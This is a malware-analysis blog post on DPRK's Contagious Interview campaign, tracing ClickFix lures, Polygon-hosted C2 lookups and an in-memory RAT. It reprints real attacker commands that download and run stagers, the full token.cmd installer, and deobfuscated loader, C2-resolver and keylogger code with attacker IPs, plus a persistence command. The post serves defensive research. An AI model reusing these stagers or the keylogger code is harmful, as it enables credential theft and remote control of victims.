Disclaimer: All research and opinions expressed here are my own and are independent of any employer or organisation.

DPRK's Contagious Interview Meets ErrTraffic

DPRK's Contagious Interview Meets ErrTraffic

DPRK's Contagious Interview campaign appears to have started buying ClickFix traffic from ErrTraffic, a kit sold as a service, alongside its fake recruiter and fake interview lures. Every route delivers a portable Node.js loader that resolves its C2 from Polygon smart contracts labelled team1 to team10, plus a second npm.zip RAT kit with a hardcoded C2.

Intro

In my last post I looked at a number of ClickFix campaigns and briefly mentioned the phishing tracker I had been building to identify and track phishing campaigns and related infrastructure.

One of the findings caused me to look a little deeper. The result: multiple DPRK campaigns sharing the same techniques and infrastructure, and evidence of DPRK utilising ErrTraffic as a delivery mechanism.

For those who want the quick version, here’s a summary:

  • Victims are approached by fake recruiters, asked to run a GitHub repo or a “fix” during a video interview, or hit a ClickFix lure on a compromised WordPress site or a fake crypto company site such as www[.]tokenmetrics[.]org
  • The WordPress ClickFix overlay matches Push Security’s description of ErrTraffic v3, a ClickFix kit sold as a service: Polygon-hosted config, Win+X then I, and separate Windows and macOS commands. DPRK appears to have started buying untargeted ClickFix traffic alongside its targeted lures
  • The stagers all hand the same decoy to anything that isn’t curl, which ties together a dozen more stagers, three of them active this week
  • All roads lead to token.cmd / tokenlinux.sh, which install a portable Node.js from nodejs.org and run an obfuscated loader from ~/.task
  • The loader drops ~/.vs_cache/main.js, which reads its C2 from a Polygon contract, then pulls the next stage from <C2>:5000/session/<id> and runs it in memory
  • The C2 hands over an in-memory RAT that registers the victim, pulls down a keylogger it calls the “Keyboard Sync Agent” and a DLL for decrypting Chrome’s saved passwords and cookies, then uploads whatever it finds
  • One funding wallet set up five deployer wallets in two minutes on 2026-09-17, each deploying a contract with C2 entries labelled team1, team2, team3, team9 and team10
  • A second chain, 2.bat → an 84 MB npm.zip → 1.d, ships a full remote-control RAT kit with a hardcoded C2
  • A developer targeted by the campaign later reported the same treasury wallet independently.

If you’re still with me, let’s dive into the details.


How Victims Get Here

There are four ways in. The first three end at the same token scripts, and the fourth leads to stagers that cloak, are named and are hosted the same way.

1. The Fake Recruiter

This is the classic Contagious Interview approach. A “recruiter” approaches a developer, usually on LinkedIn, and somewhere in the hiring process asks them to clone and run a GitHub repo as a technical test, often while on a live video call so there’s pressure to just get on with it. Running the repo pulls the same loader covered below. I’ll come back to a real example of this from someone who was targeted, once we’ve been through the malware and the infrastructure behind it.

The GitHub repo route matches what Google’s Threat Intelligence Group described for UNC5342 in October 2025, fake interviews, a “technical test”, and a loader that pulls its next hop from a smart contract.

2. The Interview “Camera Fix”

The second route is what Sekoia named ClickFake Interview back in March 2025.

Sekoia's ClickFake Interview infection chain for Windows and macOS
Figure 1: The ClickFake Interview infection chain. Credit: Sekoia.

The victim joins a fake video interview, the camera “fails”, and the page offers a command to fix it. I found four servers hosting those fix commands, one file per OS, under a campaign number in the path:

::@echo off
if exist "%USERPROFILE%\parse" del "%USERPROFILE%\parse"
if exist "%USERPROFILE%\token.cmd" del "%USERPROFILE%\token.cmd"
curl -s -L -o "%USERPROFILE%//token.cmd" "hxxp[:]//84.200.33[.]163/302/token.cmd" token.cmd
"%USERPROFILE%\token.cmd"
::cls
#!/bin/bash
set -e
echo "Authenticated"
mkdir -p "$HOME/.task"
TARGET_DIR="$HOME/.task"
clear
wget -q -O "$TARGET_DIR/tokenlinux.sh" "hxxp[:]//84.200.33[.]163/302/tokenlinux.sh"
clear
chmod +x "$TARGET_DIR/tokenlinux.sh"
clear
nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 &
clear
exit 0

302w is Windows, 302l Linux and 302m macOS. The echo "Authenticated" followed by a wall of clear is all the victim sees.

HostPathsSeen
84.200.33[.]163/302/From 2026-09-30
144.172.103[.]226/301/, /302/From 2026-06-30
38.146.27[.]178/302/From 2026-09-10
216.126.239[.]166/69/2026-09-22

3. ClickFix on Compromised WordPress Sites

This is the route from my last post, and it’s grown. It’s now on at least 36 compromised WordPress sites between 17 and 28 October.

ClickFix overlay on a compromised WordPress site
Figure 2: ClickFix overlay on a compromised WordPress site.

The command the overlay copies to the clipboard does two things:

cmd.exe /c "curl.exe -sL -d ""id=c25152f7-e76c-486e-825a-65e9e2a10ea3"" -d ""location=America%2FNew_York%20%7C%20en-US"" -d ""siteUrl=hxxps%3A%2F%2Fmineralsempire[.]com%2F"" -d ""os=win11"" -d ""lastVisitAt=2026-10-28T07%3A31%3A48.589Z"" -d ""lastShellAt=2026-10-28T07%3A31%3A48.589Z"" ""hxxps[:]//script[.]google[.]com/macros/s/AKfycbzs0vQRvI-2Bx4VUUCxUA4k64HdkiHicTmuK3y1MXAl7AgjPIWtRBZqH0v6EzzeuBaH/exec"" & curl.exe -s hxxps[:]//script-six-tawny[.]vercel[.]app/win -L | cmd"
  1. POSTs the victim’s ID, timezone, the site they were on and their OS to a Google Apps Script, which works as a free victim logger
  2. Pipes script-six-tawny[.]vercel[.]app/win into cmd

/win cloaks on User-Agent. A browser gets a harmless page titled “My Automation Script”, while curl gets this:

::@echo off
if exist "%USERPROFILE%\parse" del "%USERPROFILE%\parse"
if exist "%USERPROFILE%\token.cmd" del "%USERPROFILE%\token.cmd"
curl -s -L -o "%USERPROFILE%//parse" "hxxps[:]//ymbbbklz4w24ikhj[.]public[.]blob[.]vercel-storage[.]com/token_windows.cmd"
ren "%USERPROFILE%\parse" token.cmd
"%USERPROFILE%\token.cmd"
::cls

It’s the same shape as the interview 302w command, just fetching from Vercel Blob instead of a bare IP. The response was byte for byte identical on 18 and 28 October.

The overlay also gives itself away in the page source. It keeps its settings in JavaScript globals, __AVT_CMD, __AVT_OS_LABEL, __AVT_VERCEL_BASE and __AVT_APPS_SCRIPT_URL, and marks itself with a cogni-lsc-captcha comment. There’s also a function called __cogniRivalKill, which, as the name suggests, removes other operators’ injections from the page. Those markers led to another 20 sites copying the same command on 28 October.

The overlay itself is EtherHiding too. The injected JavaScript reads Polygon contract 0xf70730a4e5b89b6c6e02edaed582badf6465e9d9, which holds the Apps Script URL and the Vercel host. That contract was deployed on 2026-09-23 by 0x4b3ebea0e6795915da2fdd7f4b144e106b4497d2, and the same wallet deployed two new contracts on 27 October, pointing at softify[.]space/w/8ecec3ba, softify[.]space/u/8ecec3ba and a fresh Apps Script ID. So that side is mid-rotation as I write this.

This Looks Like ErrTraffic

So is this DPRK running ClickFix on WordPress? Not quite. I think they’ve started buying it, and for me that’s the most important new development in this post.

Push Security’s State of ClickFix report describes ErrTraffic, a ClickFix kit sold as a service for $300-380 a month, with 11+ confirmed buyers. It was the single biggest kit Push saw in August, at 34% of their ClickFix detections. According to Push, ErrTraffic:

  • gets injected into compromised websites, mostly WordPress
  • moved its configuration onto Polygon in its v3 release, read through public RPC endpoints, so one transaction rotates the payload URL on every compromised site at once
  • serves different instructions to Windows and macOS visitors
  • tells Windows victims to press Win+X then I, which opens an admin PowerShell or Terminal, rather than the usual Win+R
  • picks its lure from a library of “faces”, one of which is a fake Cloudflare “verify you are human” screen

The overlay delivering this loader ticks every one of those boxes. Here’s the relevant part of the injected script, trimmed but otherwise as served:

function getVercelCommand(os) {
  var base = VERCEL_BASE || FALLBACK_VERCEL_BASE;
  if (os === 'linux') return "wget -qO- '" + base + "/lin' -L | sh";
  if (os === 'mac')   return "curl -s '" + base + "/mac' -L | sh";
  return "curl.exe -s " + base + "/win -L | cmd";
}

var rpcList = [
  'https://polygon.drpc.org',
  'https://rpc.ankr.com/polygon',
  'https://1rpc.io/matic',
  'https://polygon-bor-rpc.publicnode.com',
  'https://polygon-public.nodies.app',
  'https://polygon-mainnet.public.blastapi.io',
  'https://polygon.gateway.tenderly.co',
  'https://rpc-mainnet.matic.quiknode.pro'
];

var linkConfigContract = "0xf70730A4E5b89B6C6E02EdaeD582badf6465e9D9";
var linkSelectors = {
  getAppsScriptUrl: "4e58e2f7",
  getVercelBase: "badd62db",
  getVersion: "0d8e6e2c"
};
var domainContractAddress = "0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2";
var LINK_CFG_CACHE_KEY = "cogni_link_cfg";

// English instructions shown to Windows visitors
en: { verificationTitle: 'Human Verification',
      step1: '<b>' + WINDOWS_LOGO_SVG + ' + X</b>',
      step2: '<b>I</b>', step2Chip: 'or choose Terminal',
      step3: '<b>Ctrl + V</b>', step4: '<b>Enter ↵</b>',
      windowsKeyHelp: 'This is the Windows key, located at the bottom of your keyboard between Ctrl and Alt, under the Z key' }
ErrTraffic, as Push describes itThe overlay delivering this loader
Injected into compromised WordPress sitesInjected into compromised WordPress sites
v3 keeps its config on Polygon, read through public RPCsReads 0xf70730a4e5b89b6c6e02edaed582badf6465e9d9 through eight public Polygon RPCs, with a getVersion call so a new value reaches every site at once
Windows and macOS instructionsSeparate Windows, macOS and Linux commands (/win, /mac, /lin)
Win+X then I”⊞ + X”, then “I, or choose Terminal”
Fake Cloudflare “verify you are human” faceFake Cloudflare “Human Verification” page with a Cloudflare logo and a Ray-style “ID Code”

The macOS branch isn’t a placeholder either. script-six-tawny[.]vercel[.]app/mac returns a script that drops token_mac.sh from the same Vercel Blob store as token_windows.cmd.

If that’s right, it’s a real change in approach. Everything else in this post is targeted: a recruiter, an interview, a fake company built for one conversation. ErrTraffic is the opposite, untargeted traffic from whoever lands on a hacked small-business website. From 18 to 28 October I saw 114 visits across 38 compromised sites where the overlay copied a command leading to the DPRK loader. It was still doing so on the 28th.

The contract is also already moving. On 27 October the same deployer wallet created two new versions pointing at softify[.]space, which hands off to updpkg[.]net and dist-cdn[.]net.

4. Fake Crypto Company Sites

The fourth route started with a Vercel app, status-handler-sage[.]vercel[.]app, that web pages were POSTing visitors to at /api/entered-site. Three sites send their visitors there, all of them fake crypto companies hosted on Vercel:

SitePoses asSeen
www[.]tokenmetrics[.]org”Token Metrics, Infrastructure for tokenized assets”2026-10-18 to 2026-10-28, still up
www[.]onerapay[.]com”OneraPay”, a crypto exchange2026-09-23
www[.]billiontowers[.]com”Web3 Finance & Stablecoin Investment”2026-09-24

Each one POSTs the visitor to /api/entered-site?token=<n>, keeps polling /api/get-status?requestId=<your-ip-with-dashes>&token=<n>, and then shows a fake reCAPTCHA. Clicking it copies a command like this, pulled from the Billion Towers script:

cmd /c curl -s hxxps[:]//api[.]recapcha[.]fun/auth/v1?token=310 | cmd /q && exit /b :: "I am not a bot. I am fixing issues as a service. ID: 4695"

Linux gets wget -qO- 'hxxps[:]//api[.]recapcha[.]fun/auth/v2?token=310' | sh and macOS curl 'hxxps[:]//api[.]recapcha[.]fun/auth/v3?token=310' | sh. The token is a per-site campaign number, 304 on Token Metrics, 306 on OneraPay and 310 on Billion Towers. The text after :: is a comment to cmd, it’s only there so the Run box shows something reassuring.

api[.]recapcha[.]fun cloaks the same way /win does. A browser gets a two-line batch file instead of the real stage:

@echo off
echo Authenticated

That Authenticated should look familiar, it’s the same thing the 302l camera fix prints. It also makes a good fingerprint. The same 28-byte decoy (8fcbd1c464365a8a56beeec6da4b944babda843cd3961fdd75220f446b7c0e84) is served by a whole set of other stagers, and two more cloak responses, Permanently suspended and Access permanently suspended., do the same job on others. Between them they tie together these stagers:

StagerFound byLast seen
165.140.86[.]190:3000Authenticated and Access permanently suspended. decoys2026-10-26
162.0.239[.]85:3000Access permanently suspended. decoy2026-10-17
zenithflow-ext123456[.]vercel[.]appPermanently suspended decoy2026-10-25
codeviewer-three[.]vercel[.]appAccess permanently suspended. decoy2026-03-18
brantwork[.]vercel[.]app, georgeservice77[.]vercel[.]appAuthenticated decoyJanuary to February 2026
ext-checkedin[.]vercel[.]app, everydaynodechecker-39147n[.]vercel[.]appPermanently suspended decoyFebruary and July 2026

The stagers also share URL shapes, /task/windows?token=, /task/linux?token=, /task/mac?token= and /task/tokenlinux (hello again, tokenlinux.sh), or /api/w, /api/l and /api/m on -ext<digits> Vercel apps. Those shapes point to more, but Vercel had already taken most of them down.

The best tie back to the loader is 165.140.86[.]190. It sits in the same Tier.Net /24 as 165.140.86[.]57, team10’s earlier C2, and 165.140.86[.]58, which answers with the X-File-Mtime-Ms header. The bare-IP stagers are also all Windows servers with RDP and WinRM open, the same pattern as the C2 boxes.


Stage 1 - token.cmd / tokenlinux.sh

token_windows.cmd-(5784bc7081fe600212a4d24c304159d4135fdbdd292e3b2214e88b4bb70463a5), 20/56 on VirusTotal as trojan.clickfix/deceptivedevelopment. DeceptiveDevelopment is ESET’s name for this campaign.

The Windows script relaunches itself hidden, then installs its own copy of Node.js straight from nodejs.org. Here it is in full:

@echo off
title Creating new Info
setlocal enabledelayedexpansion
if "%~1" neq "_restarted" powershell -WindowStyle Hidden -Command "Start-Process -FilePath cmd.exe -ArgumentList '/c \"%~f0\" _restarted' -WindowStyle Hidden" & exit /b
REM Get latest Node.js version using PowerShell
for /f "delims=" %%v in ('powershell -Command "(Invoke-RestMethod https://nodejs.org/dist/index.json)[0].version"') do set "LATEST_VERSION=%%v"
REM Remove leading "v"
set "NODE_VERSION=%LATEST_VERSION:v=%"
set "NODE_MSI=node-v%NODE_VERSION%-x64.msi"
set "DOWNLOAD_URL=https://nodejs.org/dist/v%NODE_VERSION%/%NODE_MSI%"
set "EXTRACT_DIR=%~dp0nodejs"
set "PORTABLE_NODE=%EXTRACT_DIR%\PFiles64\nodejs\node.exe"
set "NODE_EXE="
if defined NODE_EXE (
		echo [INFO] Node.js is already installed globally: %NODE_INSTALLED_VERSION%
) else (
		if exist "%PORTABLE_NODE%" (
		echo [INFO] Portable Node.js found after extraction.
		set "NODE_EXE=%PORTABLE_NODE%"
		set "PATH=%EXTRACT_DIR%\PFiles64\nodejs;%PATH%"
		) else ( echo [INFO] Node.js not found globally. Attempting to extract portable version...
		:: -------------------------
		:: Download Node.js MSI if needed
		:: -------------------------
		where curl >nul 2>&1
		if %errorlevel% NEQ 0 (
		echo [INFO] Using PowerShell to download Node.js...
		powershell -Command "Invoke-WebRequest -Uri '%DOWNLOAD_URL%' -OutFile '%~dp0%NODE_MSI%'"
		) else (
		echo [INFO] Using curl to download Node.js...
		curl -s -L -o "%~dp0%NODE_MSI%" "%DOWNLOAD_URL%"
		)
		if exist "%~dp0%NODE_MSI%" (
		echo [INFO] Extracting Node.js MSI to %EXTRACT_DIR%...
		msiexec /a "%~dp0%NODE_MSI%" /qn TARGETDIR="%EXTRACT_DIR%"
		del "%~dp0%NODE_MSI%"
		) else (
		echo [ERROR] Failed to download Node.js MSI.
		exit /b 1
		)
		if exist "%PORTABLE_NODE%" (
		echo [INFO] Portable Node.js found after extraction.
		set "NODE_EXE=%PORTABLE_NODE%"
		set "PATH=%EXTRACT_DIR%\PFiles64\nodejs;%PATH%"
		) else (
		echo [ERROR] node.exe not found after extraction.
		exit /b 1
		)
		)
)
%NODE_EXE% -v >nul 2>&1
if errorlevel 1 (
		echo [ERROR] Node.js execution failed.
		exit /b 1
)
set "USERPROFILE=%USERPROFILE%"
echo [INFO] Downloading parser.npl and package.json...
MD "%USERPROFILE%\.task" 2>nul
curl -L -o "%USERPROFILE%\.task\parser.npl" "hxxps[:]//ymbbbklz4w24ikhj[.]public[.]blob[.]vercel-storage[.]com/101.js"
curl -L -o "%USERPROFILE%\.task\package.json" "hxxps[:]//ymbbbklz4w24ikhj[.]public[.]blob[.]vercel-storage[.]com/json"
if not exist "%~dp0.task\node_modules\request" (
		pushd "%~dp0.task"
		echo [INFO] Installing NPM packages...
		call npm install axios
	
		if errorlevel 1 (
		echo [ERROR] npm install failed.
		popd
		exit /b 1
		)
		popd
)
if exist "%~dp0.task\parser.npl" (
		start "" /b "%NODE_EXE%" "%~dp0.task\parser.npl"
		if errorlevel 1 (
		echo [ERROR] execution failed.
		exit /b 1
		)
) else (
		echo [ERROR] not found.
		exit /b 1
)
echo [SUCCESS] successfully.
exit /b 0

msiexec /a is an administrative install, which just unpacks the MSI into a folder, a legitimate, signed node.exe to run the malware with. The loader is saved as parser.npl.

tokenlinux.sh does the same on Linux and macOS, pinning Node 20.11.1 for x64 or arm64, pulling parser.js and package.json from /302/ and running it with nohup into ~/.task/parser.log.

The package.json that comes alongside is a decoy.

{
		"name": "tokendapp",
		"version": "1.0.0",
		"devDependencies": {
			"hardhat": "^2.20.2"
		},
		"dependencies": {
			"axios": "^1.12.2",
			"basic-ftp": "^5.0.5",
			"child_process": "^1.0.2",
			"clipboardy": "^4.0.0",
			"crypto": "^1.0.1",
			"execp": "^0.0.1",
			"fs": "^0.0.1-security",
			"jsonwebtoken": "^9.0.2",
			"process": "^0.11.10",
			"ps-node": "^0.1.6",
			"request": "^2.88.2"
		},
		"scripts": {
			"test": "npx hardhat test",
			"deploy": "npx hardhat run scripts/deploy.js"
		}
	}

Stage 2 - parser.npl, the Dropper

101.js - 01e36c45fdc0f44eb73f5c7faef01f73a4a8d3ec07f9d2c9a097f60636b7c875, 1/61 on VirusTotal.

It’s obfuscator.io output, a rotated string array behind a decoder function. Cleaned up, it’s a small dropper.

// Deobfuscated and simplified
const Z = path.join(os.homedir(), ".vs_cache");          // looks like a Visual Studio cache
const Q = path.join(Z, "main.js"), G = path.join(Z, "main.vbs");

const deps = { "axios": "latest", "better-sqlite3": "13.0.3", "node-machine-id": "latest", "socket.io-client": "latest" };
if (process.platform === "win32") { deps["@primno/dpapi"] = "latest"; deps["koffi"] = "3.1.2"; }

fs.mkdirSync(Z, { recursive: true });
fs.writeFileSync(Q, STAGE2);                               // stage 2 is embedded as one big string
fs.writeFileSync(path.join(Z, "package.json"), JSON.stringify({ name: "main", main: "main.js", dependencies: deps }));

npmInstall().on("close", () => {                           // hidden npm install, then launch
  // main.vbs: Set sh = CreateObject("Wscript.Shell") / sh.Run Chr(34) & node & Chr(34) & " " & Chr(34) & main.js & Chr(34), 0, False
  fs.writeFileSync(G, vbs(process.execPath, Q));
  spawn("wscript.exe", ["//B", G], { windowsHide: true, detached: true }).unref();   // falls back to node main.js
});

The dependency list gives away what the final stage does before we ever see it:

PackageWhy it’s there
better-sqlite3Reading browser Login Data, Cookies and Web Data databases
@primno/dpapiDecrypting the Chrome / Edge key and DPAPI blobs
koffiNative Windows API calls from JavaScript
socket.io-clientThe RAT channel
node-machine-idVictim ID

That lines up with the BeaverTail / OtterCookie family, a RAT that steals passwords, wallet extensions and seed phrases.


Stage 3 - main.js, the C2 Lives on Polygon

main.js is another obfuscator.io layer. Once decoded it’s a C2 resolver and nothing else:

// Deobfuscated and simplified
const CONTRACT = "0x4917f0F44bE927E6E8B5e4c904a9Dd98BFaE8b76";       // Polygon
const KEY      = "b9f494d3657202f17485afe7292e2aa";                   // bytes32 lookup key
const SESSION  = "ea5ed343a2885831";
const RPCS = ["hxxps[:]//summer-bitter-slug[.]matic[.]quiknode[.]pro/a64c9342d130b382e1669c44b1fd3eb724c3b014/",   // the operator's own QuickNode
              "hxxps[:]//polygon-bor[.]publicnode[.]com", "hxxps[:]//1rpc[.]io/matic",
              "hxxps[:]//polygon[.]drpc[.]org", "hxxps[:]//gateway[.]tenderly[.]co/public/polygon"];

// eth_call: selector 0x8eaa6ac0 + the key as hex, padded to 32 bytes. The reply is an ABI string: "http://<ip>:5000"
const c2 = await resolveC2(0);                                         // tries each RPC in turn, 5s timeout
const js = (await axios.get(c2 + "/session/" + SESSION)).data.sessions;
new Function("require", "module", "exports", "__dirname", "__filename", js)(require, module, exports, __dirname, __filename);
// if the chain gives nothing: GET hxxps[:]//kkhf7a[.]s[.]gy/ea5ed343a2885831 and do the same

The next stage arrives as a JSON field and runs through new Function with full access to require, so it never touches disk. The C2s are picky about who they serve it to, but a run of 101.js from early October, while team1’s contract still pointed at 13.140.43[.]225, shows exactly what comes next. That’s the next section.

Reading the contract, is just a public blockchain query, so I could see exactly where every infected machine was being sent. When I checked, the answer was http://13.140.228[.]125:5000.

Polygonscan transaction from the team1 deployer to the team1 contract, with input data team1 http://13.140.228.125:5000
Figure 3: The team1 deployer writing its current C2, 13.140.228[.]125:5000, to the team1 contract.

Stage 4 - What the C2 Hands Over

Once main.js runs the /session/ code, the infected machine starts talking to the C2 properly. Here’s the full conversation, in order:

GET  hxxp[:]//13.140.43[.]225:5000/session/ea5ed343a2885831     <- the in-memory RAT
GET  hxxp[:]//ip-api[.]com/json/?fields=status,message,country,countryCode,regionName,city,query
POST hxxp[:]//13.140.43[.]225:5000/register                      <- victim check-in
GET  hxxp[:]//13.140.43[.]225:5000/socket.io/?EIO=4&transport=websocket
GET  hxxp[:]//13.140.43[.]225:5056/download-win-key               <- keylogger
GET  hxxp[:]//13.140.43[.]225:5056/socket.io/?EIO=4&transport=polling
POST hxxp[:]//13.140.43[.]225:5000/content-upload                 <- exfil
POST hxxp[:]//13.140.43[.]225:5000/file-upload                    <- exfil
GET  hxxp[:]//13.140.43[.]225:5000/download-abe-payload           <- Chrome key stealer DLL

So the RAT checks in, opens a socket.io channel for remote control on port 5000, and then pulls down two add-ons: a keylogger that talks to port 5056, and a DLL. Along the way it runs a few PowerShell one-liners to check if it’s in a VM.

Persistence

The RAT sets itself up to survive a reboot with a plain Run key, pointing back at the main.vbs from stage 2:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Microsoft Realtime Aggregator" /t REG_SZ /d "wscript.exe \"C:\Users\<USER>\.vs_cache\main.vbs\"" /f

Before it does, it deletes three other Run values, along with their StartupApproved entries: NvidiaDriverUpdate, VScode.Update.Publisher and Microsoft Realtime Agreegator (with the typo). My read is that those are the names older versions of the same implant used, and it’s cleaning up after itself so a re-infected machine doesn’t end up running two copies.

The Keyboard Sync Agent

/download-win-key returns a 78 KB JavaScript file, saved as ~/.vs_cache/key-agent.js and started like this:

"C:\Program Files\nodejs\node.exe" C:\Users\<USER>\.vs_cache\key-agent.js --win-key-agent -s http://13.140.43[.]225:5056 -i 101 -l <hostname>

The -i 101 is likely a campaign number again, the same 101 as 101.js. The file is another obfuscator.io job, and it’s 0/75 on VirusTotal. Its banner gives the game away: “Keyboard Sync Agent - Windows Version (JS)”. Cleaned up, the interesting parts are:

// Deobfuscated and simplified
const SERVER = process.env.SERVER_URL || "http://1" + "3.140.43" + ".225:505" + "6";   // hardcoded team1 C2
const koffi  = require("koffi");                                                    // native Win32 calls from JS
const user32 = koffi.load("user32.dll");

// 1. Keystrokes: a low-level keyboard hook, run in a worker thread and passed back through a SharedArrayBuffer
SetWindowsHookExW(WH_KEYBOARD_LL, hookProc, GetModuleHandleW(null), 0);
// every key is turned into text ("[Enter]", "[Bksp]", "[Tab]", F-keys, shift and caps aware)
// and tagged with the app in front and its window title (GetForegroundWindow, QueryFullProcessImageNameW)

// 2. Clipboard: a hidden message-only window listening for WM_CLIPBOARDUPDATE (0x31d)
AddClipboardFormatListener(hwnd);
// Ctrl+C / Ctrl+Insert  -> emit("clipboard:copy",  { copiedText, appName, windowTitle })   in 32,768-character chunks
// Ctrl+V                -> emit("clipboard:paste", { pastedText, appName, windowTitle })
// falls back to: powershell -NoProfile -Command Get-Clipboard -Raw

// 3. Reporting over socket.io
socket.emit("agent:register", { clientId, label, hostname, platform, arch, osVersionLabel, instanceUsername, token });
setInterval(() => socket.emit("key:batch", { events }), 1000);
setInterval(() => socket.emit("agent:heartbeat", { status: "alive", capturing }), 30000);
socket.on("capture:start", startCapture);
socket.on("capture:stop", stopCapture);
socket.on("clipboard:request", () => socket.emit("clipboard:response", { copiedText: readClipboard() }));

This is a purpose-built tool for stealing what people type and paste. Seed phrases, wallet passwords and 2FA codes are exactly the sort of thing that gets pasted, and every one of them arrives tagged with the window it went into.

The Chrome Key Stealer

/download-abe-payload drops abe_payload.dll, a small 9.7 KB x64 DLL (47a76888121a06bf9d56313b21be269a3b5acb32a7c25c0ef8c4739e219c27ce, 34/75 on VirusTotal). ABE is Chrome’s App-Bound Encryption, the protection Google added in 2024 to stop other processes from decrypting Chrome’s saved cookies and passwords. A DLL called abe_payload alongside better-sqlite3 and @primno/dpapi from stage 2 makes the job pretty clear: get the browser key, then read the password and cookie databases directly. Someone else has already uploaded the same DLL to MalwareBazaar tagged as Contagious Interview.


The Second Loader - npm.zip and 1.d

The second Vercel Blob store, cqintzfep6rw6jc9, has been serving a different chain since June:

powershell -WindowStyle Hidden -Command "cmd /c 'curl --ssl-no-revoke hxxps[:]//cqintzfep6rw6jc9[.]public[.]blob[.]vercel-storage[.]com/npm.zip -o %TEMP%\npm.zip && powershell -EncodedCommand RQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAXABuAHAAbQAuAHoAaQBwACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQAFwAbgBvAGQAZQAgAC0ARgBvAHIAYwBlAA== && cd %TEMP%\node &&  node 1.d'"

The encoded command is just Expand-Archive -Path $env:TEMP\npm.zip -DestinationPath $env:TEMP\node -Force. The older 1-1.bat does the same but opens a decoy README.txt first.

npm.zip is 84 MB, a portable node.exe plus a complete node_modules, so nothing needs to be installed from npm on the victim’s machine. Its package.json reads like a shopping list for remote control:

{
  "dependencies": {
    "@nut-tree-fork/nut-js": "^4.2.6", "axios": "^1.17.0", "clipboardy": "^5.3.1", "node-pty": "^1.1.0",
    "screenshot-desktop": "^1.15.4", "sharp": "^0.34.5", "socket.io-client": "^4.8.3", "ssh2": "^1.17.0"
  }
}

Mouse and keyboard control, an interactive shell, screenshots, the clipboard, SSH and socket.io. The store re-uploaded npm.zip on the morning of 28 October, so it’s still in use.

1.d is 2/75 on VirusTotal. It’s obfuscator.io again, this time with RC4-encrypted strings. The actual logic is a handful of lines:

// Deobfuscated and simplified
process.on("uncaughtException", () => {});
process.on("unhandledRejection", () => {});
const C2 = [91, 202, 5, 124].join(".");                    // built as "".concat(91, ".").concat(202, ".").concat(5, ".").concat(124)
axios.get("http://" + C2 + "/api/service/7a562685932fab76724a4e7217893ffb").then(r => {
  fs.writeFileSync(path.join(os.tmpdir(), "node", "pack"), r.data);
  execSync("node pack", { windowsHide: true, cwd: path.join(os.tmpdir(), "node") });
});

No smart contract here, the C2 is hardcoded. What ties it back to the Polygon loader is the server itself, which brings us to the infrastructure.


Infrastructure

The Polygon Contracts

The funding wallet, 0x62306bbaac0508d3be1647adeadc74ca43cacb41, sent 0.9 POL to five brand new wallets between 13:25 and 13:27 UTC on 2026-09-17. Ten minutes later, each of those wallets had deployed the same contract and written a C2 to it. Every write is made twice, once under a hex campaign key and once under a team label:

TeamContractC2 history (http://<ip>:5000)
team10x4917f0f44be927e6e8b5e4c904a9dd98bfae8b7613.140.43[.]225 → 13.140.228[.]125 (10-20)
team20x5c00998365a57cd53ab5ea2963689a158dff630145.59.163[.]43 → 13.140.40[.]133 (09-18)
team30x1a9700e5d74f64429594df53efcb6bc8c3936cb566.235.168[.]14 → 13.140.40[.]208 → 13.140.40[.]214 → 80.190.73[.]17 (09-28)
team90x05a071fcccb797cff4eedce28d0ae9c01444dc1a82.158.192[.]152
team100xf4da4843ded8e82f3e7bd25290f4445000a4c4dd165.140.86[.]57 → 147.93.2[.]250 (09-23)

There’s also a sixth contract with exactly the same bytecode, 0xb5a3db644aad5124b17bf96c3782d5d7623b89fd, deployed on 25 September by a wallet the team9 deployer funded. Its entries aren’t labelled with a team, they’re labelled collector, and the C2 runs on port 7200, flipping between 66.235.168[.]152 and 150.241.203[.]68. My guess is that’s where stolen data gets uploaded, separate from the servers that hand out the next stage.

Teams 4 to 8 are missing, so there are very likely more contracts funded from somewhere else.

C2 Servers and the X-File-Mtime-Ms Header

The C2s are Node.js Express servers, mostly on port 5000, and they answer with an unusual header:

Access-Control-Expose-Headers: Last-Modified,X-File-Modified-At,X-File-Mtime-Ms
X-Powered-By: Express

That header is rare, which makes it a good fingerprint. Every host below sends it, apart from 13.140.40[.]208, which I only know from the contract. The “Header only” hosts sit on the same providers but aren’t written to any contract I know of, which fits with teams 4 to 8 being out there somewhere.

HostsFound byProvider
13.140.228[.]125, 13.140.40[.]133, 80.190.73[.]17, 82.158.192[.]152, 147.93.2[.]250Contract (current) + headerContabo, Trunk Networks
13.140.43[.]225, 45.59.163[.]43, 66.235.168[.]14, 13.140.40[.]214, 165.140.86[.]57Contract (earlier) + headerContabo, Tier.Net
13.140.40[.]208Contract onlyContabo
91.202.5[.]124Hardcoded in 1.d + headerSOLLUTIUM
195.66.213[.]162, 138.226.247[.]147, 138.226.247[.]152 (dashcenterhost[.]info), 138.226.247[.]154Header onlySOLLUTIUM
13.140.43[.]228, 38.92.47[.]164, 45.43.11[.]224, 165.140.86[.]58, 45.59.160[.]215Header onlyContabo, Tier.Net

Confirmation From Someone Who Was Targeted

A public posting on Chainabuse notes the Polygon contract being used in a Contagious Interview campaign.

Chainabuse job scam report naming the fake recruiter Preston Ellis and the treasury wallet 0x62306bbaac0508d3be1647adeadc74ca43cacb41
Figure 4: The Chainabuse report naming the fake recruiter and the treasury wallet.

The wallet 0x62306bbaac0508d3be1647adeadc74ca43cacb41, is exactly the funder I’d landed on from the contract side, so the two views of the campaign meet in the middle.


Campaign Summary

There’s a lot going on here, with several campaigns using mixed infrastructure, so I had AI put together a diagram from the contents of this post.

Full infection flow, from the four delivery routes through token.cmd, parser.npl and main.js to the Polygon contract lookup and the in-memory RAT
Figure 5: The full chain, from lure to RAT.


Conclusion

That brings this post to an end. The scale of the DPRK campaigns always surpises me, varying in delivery and techniques.

The volume of ClickFix campaigns I’m finding at the minute is also suprising, close to 1000 compromised WordPress sites in the last 24 hours. The reporting from Push Security on the current ClickFix state alligns clsoely with what I have been seeing as well.

I’m sure there will be more intetesting cases to dive into in the coming weeks, until next time.

Indicators of Compromise

The compromised WordPress sites are victims, not attacker infrastructure. Please notify them rather than block them outright. The full list is also available as a CSV.

Persona

TypeValueNotes
